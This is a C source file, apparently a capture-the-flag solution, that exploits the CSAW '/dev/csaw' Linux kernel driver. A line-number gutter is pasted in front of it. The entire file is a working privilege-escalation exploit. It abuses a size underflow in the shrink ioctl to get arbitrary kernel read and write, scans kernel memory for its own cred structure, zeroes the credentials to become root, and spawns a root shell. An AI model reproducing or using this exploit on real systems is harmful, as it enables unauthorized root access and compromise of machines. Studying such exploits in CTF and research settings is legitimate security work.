1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/prctl.h> #define CSAW_IOCTL_BASE 0x77617363 #define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1 #define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2 #define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3 #define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4 #define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5 #define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6 #define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7 #define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8 struct alloc_channel_args { size_t buf_size; int id; }; struct shrink_channel_args { int id; size_t size; }; struct read_channel_args { int id; char *buf; size_t count; }; struct write_channel_args { int id; char *buf; size_t count; }; struct seek_channel_args { int id; loff_t index; int whence; }; void errExit(char *msg) { puts(msg); exit(-1); }
int fd;
void initFD() { fd = open("/dev/csaw",O_RDWR); if (fd < 0) { errExit("[-] open file error!!"); } }
int alloc_channel(size_t size) { struct alloc_channel_args args; args.buf_size = size; args.id = -1; ioctl(fd,CSAW_ALLOC_CHANNEL,&args); if (args.id == -1) { errExit("[-]alloc_channel error!!"); } return args.id; }
void shrink_channel(int id,size_t size) { struct shrink_channel_args args; args.id = id; args.size = size; ioctl(fd,CSAW_SHRINK_CHANNEL,&args); }
void seek_channel(int id,loff_t offset,int whence) { struct seek_channel_args args; args.id = id; args.index = offset; args.whence = whence; ioctl(fd,CSAW_SEEK_CHANNEL,&args); }
void read_channel(int id,char *buf,size_t count) { struct read_channel_args args; args.id = id; args.buf = buf; args.count = count; ioctl(fd,CSAW_READ_CHANNEL,&args); }
void write_channel(int id,char *buf,size_t count) { struct write_channel_args args; args.id = id; args.buf = buf; args.count = count; ioctl(fd,CSAW_WRITE_CHANNEL,&args); }
void arbitrary_read(int id,char *buf,size_t addr,size_t count) { seek_channel(id,addr-0x10,SEEK_SET); read_channel(id,buf,count); }
void arbitrary_write(int id,char *buf,size_t addr,size_t count) { for (int i=0;i<count;i++) { seek_channel(id,addr+i-0x10,SEEK_SET); write_channel(id,buf+i,1); } } char root_cred[28] = {0}; int main() { char *buf = (char *)calloc(1,0x1000); char target[16]; strcpy(target,"try2findmesauce"); prctl(PR_SET_NAME,target); initFD(); int id = alloc_channel(0x100); shrink_channel(id,0x101); size_t cred_addr = -1; for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) { arbitrary_read(id,buf,addr,0x1000); size_t tag_ptr = memmem(buf, 0x1000,target,16); if (tag_ptr) { cred_addr = *(size_t *)(tag_ptr - 0x8); size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10); if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) { printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf); printf("[+] cred_addr at 0x%lx\n",cred_addr); break; } } } if (cred_addr == -1) { errExit("[-]can't find cred!!"); } arbitrary_write(id,root_cred,cred_addr,28); if (getuid() == 0) { printf("[+]rooted!!\n"); system("/bin/sh"); } else { errExit("[-]root fail!!\n"); } return 0; }
|